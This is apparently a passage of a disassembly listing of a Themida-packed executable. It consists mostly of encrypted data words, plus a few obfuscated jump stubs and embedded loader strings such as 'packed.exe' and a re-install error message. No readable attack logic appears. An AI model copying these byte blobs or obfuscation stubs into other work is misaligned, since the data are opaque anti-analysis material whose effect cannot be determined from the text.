		dd 0F9290C23h, 0F623FFB4h, 2C7582E9h, 185AFFE2h, 8B722BEAh
		dd 0EC3F83C9h, 0B9FD5303h, 919E3566h, 0B9F56047h, 396CB59Fh
		dd 0D97D3124h, 0FCDF3377h, 1C15D3CCh, 327BC4D1h, 0EAE608EEh
		dd 0B19BB9A0h, 23311A6Dh, 367EF829h, 0C9714324h, 0A7D85407h
		dd 0FAA33B92h, 31233023h, 0BAC505D4h, 338F8CB0h, 9D000003h
		dd 53689BBDh, 81D5006h,	0B8CD004Ch, 6C81B4A0h, 0FC3063E7h
		dd 85C58EDFh, 381A3D52h, 0EA66F005h, 9BB3A2B7h,	0B6990368h
		dd 23FFFF86h, 0D9CECF83h, 9B8ED27Ch, 2261F4BAh,	7DD88172h
		dd 91D51E9Dh, 0BAC2F53Eh, 6F529C94h, 23F9DE2Ch,	2F1E626Fh
		dd 23F9B6FBh, 82D7D77Eh, 0F43D90D4h, 0B496BDB0h, 71DE5370h
		dd 0D27D1014h, 5EB7C696h, 32655Ah, 82690000h, 0D67CDBD3h
		dd 12F5498Dh, 23F9AEE2h, 6091DAE7h, 0C8C0E6E1h,	979C9B7Eh
		dd 727F23F9h, 980B3F2Eh, 0E07323F9h, 0AABBF36Fh, 0CDC05A5Eh
		dd 0BF000000h, 88D27CD9h, 4E98B2A1h, 158F3B6Bh,	233401Ch
		dd 92B89B8Eh, 54FA5B4Eh, 2D09F80Ah, 5161007Fh, 9CB9AC20h
		dd 0D48168B2h, 0B2E3367Ah, 0DBDC3E4Fh, 96DE1C15h, 15DA83B3h
		dd 4A7B881Ch, 0F72A2431h, 97DB73E2h, 49939FB1h,	0F9EA1F66h
		dd 357F8C23h, 0D0DA0AEDh, 0D2DF23F9h, 10363EA1h, 0EEBCE18h
		dd 912BE0BBh, 533A84h, 5102174Ah, 481407F9h, 4C70C2A7h
		dd 2154Fh, 0B99FBB00h, 6EE87186h, 1E2E263Bh, 0D282D6EBh
		dd 81C98A9Fh, 0ACB11A4Eh, 5B70A3A7h, 0E2356FCh,	0C0D50848h
		dd 2186B995h, 0A4D4B7h,	0F5A92400h, 57AD9F4h, 0CD884BF7h
		dd 0B0996D81h, 152771BAh, 1DBDB557h, 2A8DBE93h,	0C40E4015h
		dd 92D678DDh, 30AB0E3Fh, 15F76678h, 5A2EB9DDh, 0FF0B1D29h
		dd 1CD3D2B5h, 0CBD823FAh, 1A649887h, 39CC23FAh,	2F124A16h
		dd 0E4195A5Eh, 18000000h, 0C0C59178h, 0B7D639F0h, 0EE1F686Ch
		dd 84CE80D5h, 5498BA9Dh, 695CD001h, 2D1C60EAh, 1C15D8CBh
		dd 10430B4Ah, 0B0F45AFBh, 71E3755Ch, 4E7FCB88h,	0DA242C42h
		dd 0F9DEB0F7h, 0CDB0F823h, 23F9DD9Dh, 0CD6495A2h, 0D3173320h
		dd 0DBED3780h, 0CEB0CE5h, 399CCDF4h, 0C9131F31h, 26563981h
		dd 2323FA62h, 94D0E516h, 192BE148h, 78DBC20Ch, 42299FD2h
		dd 0A4F73B13h, 51F95A73h, 0A7BAB25Fh, 0BDBADEC2h, 116h
		dd 85B8A0BAh, 3A6DE970h, 0EA1D2F25h, 9ED183D5h,	4D80CA89h
		dd 0A8ABB219h, 0FD5A6FA2h, 490D2255h, 96BFD407h, 0B62085B8h
		dd 1A3D3h, 0F3F4A824h, 0ECBD6678h, 0C40E3393h, 4374BD91h
		dd 0D721292Ah, 0A3E763F0h, 63A7A3B0h, 32B3C710h, 0F1F81827h
		dd 7085E819h, 0C03669E5h, 92D680D9h, 0D98F0E3Fh, 9B8ED27Ch
		dd 0EB6194BAh, 8E90C0A3h, 808D1C15h, 252D434Fh,	0EB5FF4DBh
		dd 0A92354A7h, 76DE7A61h, 8F19492Ch, 9161C15h, 0F21AC3D8h
		dd 0E22A23FFh, 10F55BFBh, 23FFF1E0h, 0F1E717FAh, 0D7E423FFh
		dd 9B326370h, 0F17AAA8Dh, 727F23FFh, 63F2E529h,	0FF480E4Bh
		dd 109EB7CCh, 76C90D49h, 42FAE92Dh, 54340DC1h, 1045A2ADh
		dd 0B598B99Eh, 33FD3A85h, 0EB347D8Ah, 467659A1h, 4333FD3Bh
		dd 8DA20536h, 4F4286C8h, 0FD074B09h, 5500ED62h,	850C6F9h
		dd 0FD3AF525h, 74DFA33h, 65AE0145h, 143A1B34h, 10D3D0h
		dd 95DD0000h, 0FD3A82B2h, 7CDA8733h, 0DB5A8BD4h, 81D93A69h
		dd 0B5A093D7h, 0F4625599h, 3225185Ch, 6AE9DC20h, 0AAA99CE0h
		dd 0EF695CA0h, 262E2165h, 6AEFE226h, 536AA8ECh,	0C381E389h
		dd 4, 8704EB83h, 248B241Ch, 18EB6824h, 3C890000h, 5A0E6824h
		dd 4890000h, 65A46824h,	3C8B07EAh, 4C48124h, 68000000h
		dd 392Bh, 83242489h, 58042404h,	8EB95157h, 290C0330h, 5904244Ch
		dd 8108408Fh, 308E0840h, 48B0C03h, 0E3895324h, 4C381h
		dd 0C3810000h, 4, 5C241C87h
; ---------------------------------------------------------------------------
		mov	edi, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_598345
; ---------------------------------------------------------------------------
		db 25h
; ---------------------------------------------------------------------------


loc_5E9A29:				; CODE XREF: Themida_:loc_5E8994j
		mov	eax, 7EA751Ch
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		dw 0F1BCh
		dd 0F31E01FDh, 588B5843h, 0C73D7D8Eh, 0D2023388h, 2FD30C7h
		dd 6E7E2ECFh, 4EBD39A5h, 39692618h, 61B50692h, 1F272840h
		dd 1E5035A9h, 4960470Fh, 7BE957F5h, 4B000001h, 0DD679C44h
		dd 437C8360h, 5F6D5C3Ah, 61706E75h, 72656B63h, 63617000h
		dd 2E64656Bh, 657865h, 3Ah dup(0)
		dd 33000000h, 6E6E6143h, 6620746Fh, 20646E69h, 27732527h
		dd 6C50202Eh, 65736165h, 6572202Ch, 736E692Dh, 6C6C6174h
		dd 69687420h, 70612073h, 63696C70h, 6F697461h, 6854006Eh
		dd 54526E75h, 6E69614Dh, 765F5F00h, 61566162h, 74735472h
		dd 654Eh, 7 dup(0)
		dd 4DE90000h, 6800001Ch, 7EA797Dh, 0FA0692E9h, 7A5868FFh
		dd 88E907EAh, 68FFFA06h, 7EA7B90h, 0FA067EE9h, 7C4868FFh
		dd 74E907EAh, 68FFFA06h, 7EA7C87h, 0FA066AE9h, 7D4A68FFh
		dd 60E907EAh, 68FFFA06h, 7EA7DA7h, 0FA0656E9h, 7DF868FFh
		dd 4CE907EAh, 68FFFA06h, 7EA858Dh, 0FA0642E9h, 861E68FFh
		dd 38E907EAh, 68FFFA06h, 7EA86E1h, 0FA062EE9h, 87CC68FFh
		dd 24E907EAh, 68FFFA06h, 7EA885Eh, 0FA061AE9h, 892A68FFh
		dd 10E907EAh, 68FFFA06h, 7EA89B1h, 0FA0606E9h, 8A5468FFh
		dd 0FCE907EAh, 68FFFA05h, 7EA9044h, 0FA05F2E9h,	914F68FFh
		dd 0E8E907EAh, 68FFFA05h, 7EA9209h, 0FA05DEE9h,	7A9C74FFh
		dd 0D7F7D0E6h, 37512D43h, 9AAE8DA3h, 0F915F006h, 0ED668C65h
		dd 4C62F612h, 0AAC05472h, 0C22B6CCh, 0D083172Fh, 0D8DCA320h
		dd 357A13A8h, 617956A6h, 6F7E5B29h, 42A00DF2h, 760C914h
		dd 733B5473h, 0B324A623h, 16A13A6h, 73D537C9h, 0A6B401F6h
		dd 0F964CD13h, 13A6B402h, 659DBB95h, 0FE1079CAh, 0A6B47A05h
		dd 0A8C09D13h, 0B3C8A270h, 0A6B44136h, 4BA40D13h, 5C557113h
		dd 0EAD78A30h, 0AAE69E75h, 798E0052h, 0C07C8E45h, 423C2791h
		dd 93ECD368h, 0FCA0E481h, 0D8776A03h, 38D4h, 0F492FD00h
		dd 0CAEDFF17h, 47A6E2C5h, 0E6C82063h, 0C09F3D8Dh, 0C7D974ACh
		dd 6CA66CE9h, 0B7413A6h, 0C4A341D3h, 0DAA59EB0h, 7113A66Eh
		dd 87782460h, 50D87743h, 0C1h, 61795679h, 0B8359729h, 1442A0C3h
		dd 0FA14268Fh, 0E88F0C1Fh, 661442A0h, 7E9271FDh, 5937D525h
		dd 0D96B3143h, 0E465E3Bh, 6A476173h, 6F4C1A52h,	61CEC357h
		dd 0EE1442A4h, 20587650h, 7C597385h, 0DDBAD064h, 0D9B68DC5h
		dd 0E0885D5h, 5413A6B0h, 51F390E4h, 477609DBh, 68D33394h
		dd 21B50EFEh, 0D1218D02h, 40D95B54h, 5EAE1714h,	35C9E5C0h
		dd 29B7E95Bh, 70516C82h, 4D69445Eh, 34C08FF9h, 34BAFA62h
		dd 196Ah, 45D9FBD3h, 0A236562Fh, 296B08Ch, 65F90DECh, 0C458744Fh
		dd 714C05EBh, 0D1ABC155h, 2B091FB3h, 8E6B8115h,	7F2FE276h
		dd 0A8D97D02h, 594D913h, 0CB5F7B56h, 2CC0D8B5h,	19F4925Bh
		dd 182AC5FDh, 0C4149AF5h, 0CDE9C462h, 0EFE8FA95h, 13A6A939h
		dd 0A9568EF7h, 13A6A9D6h, 0AA852375h, 0A7DF7C8Eh, 780808F7h
		dd 0C3CDD8h, 56F60000h,	5B296179h, 9A2C6480h, 0A0C4BB38h
		dd 29921442h, 0A5111E17h, 25021442h, 8663790Dh,	305F366Eh
		dd 1E566E4Bh, 0C1B63383h, 8D1442A5h, 0FE7BCB24h, 13A6B104h
		dd 2E4DE14Ah, 80FD4D61h, 14405F20h, 0A1B79533h,	0F747B08Fh
		dd 542D8059h, 0EBC9DB34h, 0F70DEB89h, 0D4F0CBE5h, 2C4F2A40h
		dd 0A8F1A6A0h, 0DD318A24h, 6234DAB5h, 8F22A8E8h, 0AE000018h
		dd 0A20B4D6h, 677D1131h, 0C7DD718Bh, 2A40D4E8h,	0C69F334Fh
		dd 304C2720h, 8EAC869Ch, 0F006E4FAh, 5169465Ch,	0DD5A0ABDh
		dd 13A8DA26h, 92E06FB4h, 6B2D5E20h, 0AB15758Fh,	6D49D592h
		dd 4C274153h, 0A9869C30h, 62DF4191h, 1442FD9Dh,	9CBED039h
		dd 2E7956CBh, 0A280255h, 85DE79B1h, 93A27F4Dh, 0C4FC1CF5h
		dd 0A039BE29h, 2C951442h, 0BE583D3h, 0DFB9DBEDh, 0E705DF7Dh
		dd 42A0877Ch, 5EEA5314h, 96316981h, 802E6184h, 86FDB330h
		dd 4BBB13A6h, 3A05AC76h, 0B3EB44BDh, 0A6817506h, 85C1D213h
		dd 0F774D6h, 0CE13A681h, 87785365h, 50D877FCh, 0C4h, 7FC14579h
		dd 0B04E9E10h, 0E984BCD2h, 0AE7CF9D7h, 7C13A68Ch, 7C1A0A13h
		dd 21FA86A0h, 0D7F6EF01h, 9CC73C2Bh, 300221FEh,	38BA2D1Dh
		dd 0B583BB14h, 5668C1D7h, 461F5C33h, 0FA53EE26h, 0B0132DAAh
		dd 0E141CFD8h, 20F29F64h, 0D2100F0h, 0C2FA53BCh, 2AD4BE30h
		dd 0A5B11349h, 981F7093h, 2060641Bh, 0C4D8B7F0h, 61B10A73h
		dd 0C7D0BCE4h, 0A5F55EF7h, 7E122A07h, 1F738B68h, 85B64C7Dh
		dd 576EF434h, 0E6000017h, 4258EC0Eh, 9FB54969h,	0FF15A9C3h
		dd 62780C20h, 0FED76B87h, 68845FF8h, 0C6E4BED4h, 283E1C32h
		dd 89A17E94h, 159242F5h, 13A8DB6Eh, 5618A7ECh, 52296179h
		dd 0A421713Dh, 13A686EEh, 0DEAF43ACh, 107FC145h, 4EEC4E9Eh
		dd 2F492572h, 1DCBC4D6h, 0CB13A68Ch, 8C09EE6Bh,	49C613A6h
		dd 13A68CB2h, 0FD66B720h, 19909BA4h, 15948E76h,	0E22017Ah
		dd 0A10365B5h, 4F875F24h, 8092FB9Bh, 0ABA6B587h, 20FE9C9Ch
		dd 0E9E19613h, 46D82B3h, 51BA99ABh, 614D4219h, 594C9411h
		dd 0A50E8554h, 7855F355h, 7B8D2860h, 0D86C8461h, 79CDE5C2h
		dd 0D327C22Dh, 9FD25898h, 9E000016h, 0FA10A4C6h, 576D0121h
		dd 0B7CD617Bh, 1A30C4D8h, 0B68F233Fh, 203C1730h, 7E9C768Ch
		dd 0E0F6D4EAh, 4159364Ch, 0CD4AFAADh, 13A8DC36h, 56D05FA4h
		dd 0A30D6179h, 367200BCh, 166070F6h, 5DD0000h, 60394FE3h
		dd 0BA96AC40h, 17F60CA0h, 7E596F03h, 0FF5CE62h,	0CB5F7B56h
		dd 29BDDBB5h, 8B1F3513h, 0EC809875h, 770C8939h,	0E313A8DCh
		dd 30920F9Eh, 0F1C87CBEh, 0E44FC66Dh, 1442681Fh, 264052BBh
		dd 67F93149h, 0C7A3EAC9h, 0EFC854ADh, 0EAFC97CFh, 96E6C8C7h
		dd 0A6684F19h, 0E3A51513h, 3BD42656h, 0C33C720h, 1EFC9A8Bh
		dd 0A9E1F7D5h, 80A3B50Eh, 0D24F9F0Fh, 1442F604h, 0C5935D3h
		dd 84BC1531h, 2F6289E9h, 3C8C626Dh, 0D9E24B2Ah,	22EB7FCEh
		dd 0CEE0AF87h, 2A3F017Eh, 7915BFD7h, 0B04B839Dh, 47481F57h
		dd 469A1767h, 14A7F0DCh, 0E0BD5BABh, 411E34C8h,	3EE5D529h
		dd 0C808B5C3h, 159D42h,	0A6C8A000h, 323FC12h, 637D596Fh
		dd 0C6DAB9CFh, 25411C32h, 1932B891h, 788E223Eh,	0D6EC809Eh
		dd 384EE2F8h, 0FCAF435Bh, 0DD28CF4Ch, 61A613A8h, 0A08077D2h
		dd 0ED4F1442h, 42A08B70h, 0CCDE4714h, 42B028D3h, 0A0F38C14h
		dd 0BA451442h, 0DD144280h, 3094E800h, 0D172009Ch, 15400B91h
		dd 25FD0000h, 80596F03h, 0DAB6CC60h, 37162CC0h,	9E798F23h
		dd 0EF15EE82h, 0EB7F9B76h, 49DDFBD5h, 0AB3F5533h, 0CA0B895h
		dd 572CA959h, 313A8DDh,	30922FBEh, 42A0CCB3h, 0F218A14h
		dd 0BB0BA3ECh, 0A6B8103Eh, 155BE13h, 6A1CA3CDh,	0EF820848h
		dd 4E000014h, 0AAC05476h, 71DB1D1h, 677D112Bh, 0CAE07488h
		dd 663FD3EFh, 0D0ECC780h, 2E4C263Ch, 90A6849Ah,	0F109E6FCh
		dd 7DFAAA5Dh, 13A8DD86h, 92800F54h, 0A0CCB330h,	218A1442h
		dd 0A0AF54D1h, 0C22B1442h, 0A1B996B0h, 0F265D769h, 96AA893Dh
		dd 8D63C35Eh, 0FCF353D4h, 5341DBE8h, 0EECBE5F7h, 9D5A9ED6h
		dd 864AB5E9h, 278BE05Bh, 0B4000000h, 42A08477h,	23320F14h
		dd 42A0D1A6h, 0C4147D14h, 42A0B047h, 5CB51E14h,	2557D3C8h
		dd 0E51D1419h, 145D5Fh,	0F492EE00h, 0D0EAFC1Ah,	0CCA3DBF3h
		dd 399BEBC3h, 0A0A55AD7h, 1BF61442h, 3345AEFFh,	0A6B4D83Ah
		dd 0A93DA613h, 0FD95DCFh, 0F6C9DE8Ch, 0E0CEC1E4h, 0B1902E90h
		dd 0B8CA659Dh, 420885BFh, 0AAE24B14h, 52E600DCh, 8A16A35Dh
		dd 0FD1DF61Bh, 277A5369h, 81EFC4Dh, 50DC35D0h, 841F5777h
		dd 4C25F32Bh, 4926F42Ch, 4F2BF931h, 6F46FD35h, 0B67F7B37h
		dd 8FB68F8Eh, 6B39C622h, 0F084DD4Bh, 93F1E619h,	286EFD0h
		dd 4D180000h, 0BA1C6C42h, 16283E1Ch, 0A6B38B1Dh, 0FC79D913h
		dd 13A6B407h, 3F5D37D3h, 87558DE6h, 0E4FA8EAEh,	0DA03E40Bh
		dd 4B8BC3C4h, 720DBAF2h, 9213A64Fh, 0C224570Fh,	0A7AFBE45h
		dd 0A1B31C13h, 7C5BAE87h, 5C7B0F68h, 0AE2B7B33h
		dd 1443B300h, 0DFADE54Eh, 3E54E804h, 620F4763h,	1B8B8C9Bh
		dd 0CB0323FCh, 0D00820FDh, 0C8B7EF6Ch, 0FE99D1EDh, 0C38306A5h
		dd 0D165815Ch, 81D1DDB2h, 3F58AD1Fh, 0B4D391ABh, 0EE89C1D5h
		dd 348A8395h, 221C6FCBh, 0D6B381B9h, 0DE502ABEh, 383C9487h
		dd 849EB01Bh, 687E5CA7h, 0E05DBF0Fh, 3EFA21Bh, 763C4EB7h
		dd 0EFA232C9h, 97CF5203h, 4F6B46E4h, 2E46233Dh,	78FF7CDEh
		dd 0D603EFA2h, 0EE02E16Dh, 0E7091BB6h, 43E1F8D1h, 1CE34E66h
		dd 0BA03EFA2h, 0A226DD5Ah, 4BB403EFh, 0AB4999F2h, 0DDA3B5CFh
		dd 7E3360Fh, 8E5C94EDh,	905E96B4h, 5E25A2B5h, 0FC03EFA2h
		dd 0C4023A93h, 93104BFBh, 3EFA2ECh, 0ACA8016Ah,	0B2B04A2h
		dd 892638D3h, 0BF3C9EDDh, 3EFA238h, 11B2D96h, 9D740828h
		dd 0C8AF0F62h, 0AE55D234h, 0F103EFAEh, 2BC6FE12h, 34526ADAh
		dd 9E7A601Fh, 0BE943345h, 0B4000000h, 0E8203A16h, 56663B4Dh
		dd 59275F7Bh, 0EC2A627Eh, 21FC6323h, 80D9F9D2h,	9ED6BE30h
		dd 1B36854Bh, 0EF10E709h, 0E8E05B38h, 91h, 23209211h, 0AD895C86h
		dd 38152F41h, 1B87F019h, 62BBD585h, 677F5C2Ah, 6B85612Fh
		dd 6E8A6533h, 0FCA87F36h, 10AEB8B4h, 49E41C32h,	0AFEA9A37h
		dd 0C1E3211h, 0ADFD15F2h, 5429CE4Bh, 0BC961442h, 0AC04E130h
		dd 0FA0C75C6h, 0CFFE01D8h, 3ED7E05Bh, 0
		dd 0F24B2092h, 70456884h, 5A543B5Eh, 24378D0Ah,	0B42613A6h
		dd 94C99968h, 3514264Eh, 14E794CCh, 0B313A678h,	45BAE2A2h
		dd 53D87745h, 0B48FD6B5h, 6CC56098h, 0E8879934h, 84h, 6C424D11h
		dd 0BEFD9F1Ch, 2A9313A6h, 2B4B24F2h, 421FBD97h,	25FE182Ah
		dd 26FFCD05h, 0C790CE06h, 0A7C7A09Fh, 0BCDDB957h, 93ED6F7Ch
		dd 0DC146DAAh, 360D2F41h, 0D8779BC9h, 410Eh, 484D3700h
		dd 16B41666h, 18112337h, 6BBD5F83h, 781666CFh, 0B24D8599h
		dd 522DDAA0h, 0DC9442A1h, 334726C4h, 99C08421h,	0D0DE8927h
		dd 99ABAF0Bh, 3F8F1F76h, 0BDBEDDC2h, 7C1079EBh,	7AEh, 4D9E3D00h
		dd 2D000000h, 28607A56h, 1161815Ah, 0FB3DC49Fh,	3A2E803Fh
		dd 7E3696ECh, 0B6D8EA8Eh, 8FA0C7A0h, 0B733C826h, 5B326AC3h
		dd 7C038037h, 0DA144233h, 33E01871h, 0EBBDCCB7h, 0CD4AACFEh
		dd 14423336h, 8C293BA4h, 7E5BA4D8h, 837CE05Bh, 0A500000Bh
		dd 1969454Dh, 0A0453AB7h, 0A1111442h, 9704C8C9h, 34469FA2h
		dd 0DF6ADC6Eh, 8D03AC3Eh, 0D450495Bh, 979DE984h, 619EDE86h
		dd 7656B0D8h, 39h, 69454D9Fh, 82A27B19h, 6E159270h, 0EC1442A0h
		dd 0B6953383h, 1DCA90A2h, 0BD316DC4h, 0C69F3D8Fh, 6E4D32AFh
		dd 0A009BD31h, 62740F47h, 22DD81C5h, 0B336E843h, 298h
		dd 15F492DCh, 4F34B101h, 0B1442A0h, 256D90A2h, 0BD9B3989h
		dd 0C2D46FA7h, 920AC1EDh, 0C6FE18F4h, 22FF192Bh, 0F2D9C30Ah
		dd 0CCB33092h, 8B1442A0h, 42A0690Eh, 2B7CE514h,	3D5D36C2h
		dd 0E5DF502Bh, 4B18E55Fh, 41000000h, 2269454Dh,	0ABE3092h
		dd 5A7A5306h, 4E005AFAh, 0DCB9433Ch, 0AE171442h, 5EFCEC5Eh
		dd 6E7307CDh, 0A23D7595h, 0CADEBD49h, 10E5F792h, 7A563992h
		dd 52701960h, 0E94B30E0h, 485A1788h, 549E73h, 86240000h
		dd 0BA558DADh, 2092D3A8h, 658A1451h, 10ED7943h,	0CFC3E6F8h
		dd 12F18FDFh, 192BC6FEh, 18F49244h, 7ED7EDCBh, 411FAB46h
		dd 0BE3B192Bh, 1442A03Ch, 0A81A6A51h, 0D54B0902h, 84596B80h
		dd 7A563992h, 0F4921960h, 28C3FB1Bh, 7FAFF6C8h,	30426644h
		dd 99771B30h, 6826CBD9h, 0D9F28906h, 0F76026CBh, 0D4F0CBE5h
		dd 24D2A40h, 39D40C26h,	0E8C3BFE0h, 0D80A7CCCh,	0A672E523h
		dd 0BD162A09h, 53D5331h, 0EA9586Ah, 9F7CE3A3h, 75527E87h
		dd 0DE7C3C5Dh, 0ABD6E802h, 187AF8BBh, 0CBE0E49Bh, 0F7097226h
		dd 0D16F2A5Ah, 9A4DCF4h, 0E800DDF7h, 0EFFF2698h, 0EE28644h
		dd 5C3965FCh, 1592F444h, 26CB916Eh, 0C27183ECh,	0C3BDEBC6h
		dd 9126CB91h, 16C0728h,	0DEFDDA45h, 0C1EDA738h,	39429BE0h
		dd 0DE16320Dh, 56856FFh, 0E703DE41h, 51BF997h, 0FE2032CDh
		dd 0D2F30BE8h, 4AE8FBD6h, 831E566Ch, 0C5867871h, 0E34C26CBh
		dd 43B5EDC2h, 7A6354E4h, 8E6C3926h, 0DBBC7EDEh,	5D09A6B8h
		dd 9DED05E2h, 0D20A22FFh, 153CC340h, 319A26CBh,	576F4CD8h
		dd 20BEAE45h, 0FC162846h, 0D9E6071Fh, 0A0E42598h, 0BFC8E0BDh
		dd 4E9EB693h, 0A5B7D7B0h, 31C436F6h, 0C05FB226h, 0BC97B1C3h
		dd 71EE50A0h, 26CBF48Ah, 1ECDDF48h, 0F16C1883h,	0CDECC914h
		dd 97B0841Dh, 459EF7F8h, 7956553Ch, 0AC11A61h, 0CCB33092h
		dd 8A1442A0h, 0A9EC0F21h, 86DFF3D2h, 95F2D93Fh,	0E55FE59Ah
		dd 465Bh, 30928400h, 2F9AB892h,	1442A048h, 6AA583F7h, 1C6DE299h
		dd 177EA1B3h, 15925097h, 1442A06Bh, 923980E9h, 5D7D5639h
		dd 105B9B0Dh, 6D69598Ah, 0D6E808E1h, 925B7001h,	0A0CCB330h
		dd 218A1442h, 263D0Fh, 4DCC0000h, 3D573348h, 1DF694E4h
		dd 4B30ADFDh, 71442A0h,	92B78C9Eh, 42A06B15h, 7AC1A814h
		dd 7D563992h, 5B70165Dh, 42B1AF77h, 1296D14h, 0B8FFFFFDh
		dd 42A08477h, 0D2AD4B14h, 0D1E37EB6h, 7ACAE4AEh, 663C5D08h
		dd 74863ABAh, 13603C52h, 8CC41D37h, 428118DFh, 8BBB9214h
		dd 0A9EB894h, 67FB1BF4h, 29614D48h, 14D2CE7Ch, 6C846156h
		dd 6E8C6634h, 1155D236h, 4CF80961h, 7C906F0Dh, 0A8708F6Ah
		dd 0FA659E05h, 85000001h, 0DCEE0EE7h, 0A0857707h, 88071442h
		dd 0B59D626h, 0D913A682h, 0EAC6DC70h, 0F1CA98D0h, 690799D1h
		dd 4761738Dh, 3F164E6Eh, 0AC0E5E50h, 5286E53Ah,	0CEE0B33Ch
		dd 4207FFD5h, 7F1D7D14h, 0B44F87A5h, 8A77B249h,	5EB7201Bh
		dd 37E5CE0Ah, 951B5B62h, 0D5Ah,	55E90BE3h, 0B246663Fh
		dd 12A6C09Ch, 75091DFCh, 0D468845Fh, 815CF5FBh,	0E1BBD165h
		dd 3B192FC3h, 9E7B9125h, 8F3FF286h, 0A8256D12h,	15A4E913h
		dd 552E7956h, 962FD35h,	1995FAD1h, 0E8F567C9h, 87F9CBD3h
		dd 0D8847D8Fh, 7A13A877h, 0C15FC111h, 395CDE3h,	0A9B7F186h
		dd 9BF45D13h, 79936F89h, 0D9F3CFE5h, 0DEF6D3A1h, 0EEC0CFA6h
		dd 0ACDF219Eh, 476144Dh, 57629261h, 4ECB1B38h, 1B8D33A9h
		dd 0CBAABC25h, 29D40E62h, 29696231h, 0CC9A3h, 7A9C7400h
		dd 0D7F7D0E6h, 37512D43h, 9AAE8DA3h, 0F915F006h, 0ED668C65h
		dd 4C62F612h, 0AAC05472h, 0C22B6CCh, 0D083172Fh, 26DCA320h
		dd 357A13A8h, 617956A6h, 713D5229h, 0B316A421h,	0DB4413A6h
		dd 3D1D198Bh, 0CEF43E48h, 0A7849ABCh, 5330835Ch, 0FAAE23Bh
		dd 870466B6h, 13A68DF0h, 0C1E3F55Eh, 71C1EDA2h,	0A4DCF8D3h
		dd 9C19F709h, 144CFACDh, 46E4349Dh, 27DC596Ah, 0B31B8C05h
		dd 835DF14Ah, 30E809E5h, 0FFD6F9C6h, 9C376FC8h,	7A94708Ah
		dd 3712B042h, 6A41E31Bh, 8FEFE574h, 344E60B9h, 30073F57h
		dd 61FF4F5Fh, 9A356D83h, 81A300Eh, 9B53AD2Ah, 98011C68h
		dd 4E80A844h, 0E369A95Ah, 0C06h, 0A93D5F37h, 69ABA93h
		dd 66FA14F0h, 0C95D7150h, 28BCD8B3h, 0D5B0A94Fh, 350F25B9h
		dd 8F6D8317h, 0F2CFE579h, 0E39346DAh, 0A8269166h, 69F83D13h
		dd 29617956h, 21713D52h, 0A68E22A4h, 73077013h,	0D064845Dh
		dd 0B291DEBAh, 0D7B1459Eh, 34465A39h, 120925Fh,	6CD23A04h
		dd 7E113446h, 8563E030h, 5313A660h, 8220B2EAh, 847D8FA3h
		dd 13A7A6FBh, 54073F50h, 74FAB7E2h, 495B9373h, 7703916Eh
		dd 0AD46D8h, 566F0000h,	334F2A7Dh, 7210A2DAh, 536D7F93h
		dd 54225A7Ah, 36542E75h, 0A5B75CFEh, 0C6BAF668h, 52C4146Dh
		dd 793D62A0h, 0F87FFCCBh, 56144278h, 0BC8294EDh, 61F515EEh
		dd 0C20BE987h, 0F792CAE8h, 6BCB669Eh, 4959E38Ah, 0C6E9FBD8h
		dd 0F795E5C9h, 13F10319h, 0A6CDA496h, 0ED41AA13h, 6A1C4B09h
		dd 1B961C5Ch, 2200000Bh, 7E94284Ah, 0DBF185A5h,	3B51E5FFh
		dd 9EB4485Ch, 3A13A7C3h, 0A4C09BB4h, 220FA10h, 647A586Eh
		dd 0C5DDBAD0h, 51CE7E31h, 13A827AAh, 5654E328h,	0EFC95D7Dh
		dd 9995A67Dh, 0B2C49B92h, 80E0h, 0EFC86600h, 92E8BDCFh
		dd 0D6CF9D20h, 0ABBDDB11h, 6098B891h, 0B63C5CCEh, 0A3FB80FDh
		dd 0EE571442h, 63C5478Eh, 4D612E51h, 6B815FFDh,	0A8869833h
		dd 0C4C7D446h, 9F43968h, 0B8A8FEF7h, 0AA613A6h,	3FDA1230h
		dd 9D6E92E6h, 0CB0B6A1Ch, 0A8945h, 0BADCB400h, 17371026h
		dd 77916D83h, 0DAEECDE3h, 39553046h, 2D26CCA5h,	8CA23652h
		dd 0EA0094B2h, 4C62F60Ch, 10C3576Fh, 281CE360h,	75BA13A8h
		dd 617956E6h, 667E5B29h, 4EECEA2Eh, 2E4C2671h, 7E26C3D5h
		dd 5C1DC13Eh, 21A16E0h,	923F0000h, 0B8FE7F20h, 0EAC65C89h
		dd 0A4FD98D0h, 0D1576792h, 245EE9BEh, 0D3978129h, 0FFAD2A7Ah
		dd 0AD13A6FAh, 7A56F444h, 7B8D2860h
		dd 0AB85D9E4h, 840BE031h, 2B5DDA2Ah, 0B9E8DAF6h, 0E8861850h
		dd 0CCE0BF0Ch, 68A0F994h, 4C6441CDh, 3678173Ah,	793169E6h
		dd 7AE310C5h, 97AF8C2Ah, 846ED547h, 0B6EE0AE5h,	0F717BB1Bh
		dd 43597B8Dh, 73304766h, 69F4FBB7h, 144EBC10h, 0FF3F66B8h
		dd 9BD79h, 86A88000h, 0E303DCF2h, 435D394Fh, 0A6BA99AFh
		dd 521FC12h, 0F9529871h, 586E021Eh, 0B6CC607Eh,	182EC2D8h
		dd 0DC8F233Bh, 29C8AF2Ch, 418613A8h, 5D7D56B2h,	6D414E25h
		dd 0D633A01Dh, 0F65F13A8h, 30C744A6h, 6313A8D7h, 0B0196A8Ah
		dd 4822C09Eh, 0A680962Ah, 29617755h, 26FD358Eh,	78F54569h
		dd 144CE4DEh, 112D08A4h, 0ECCA68B8h, 0F1039ED6h, 7D9B7513h
		dd 0DBF9D3E9h, 0E0F8D5A3h, 3211888Ch, 53D91962h, 936h
		dd 790D2F07h, 0D66A8A63h, 36CAE4C0h, 992D4120h,	0F88CA883h
		dd 0A580D91Fh, 5DFF589h, 5F3D53E7h, 0C29FB549h,	0B36316AAh
		dd 0A8294136h, 39C80D13h, 1D9AFCC6h, 1442A066h,	0CBBD84F4h
		dd 0E9446DBEh, 0F6857E90h, 401442EEh, 0BB9A3D69h, 0EC8ADAD4h
		dd 23BEF610h, 9CB63311h, 0E213A6DDh, 451F6846h,	2575CE27h
		dd 0FD91AB87h, 0BF44C123h, 1B13A622h, 127DA0B2h, 0FACF4C9Ch
		dd 781440F9h, 57EC4E08h, 0B009FB5Bh, 0CDE5C260h, 0E4C15F39h
		dd 4DA6BA99h, 0F944213Bh, 55A9021Eh, 623506C9h,	9326ACECh
		dd 0AA000008h, 61CB0D2h, 63790D2Dh, 0C3D96D87h,	263CD0E4h
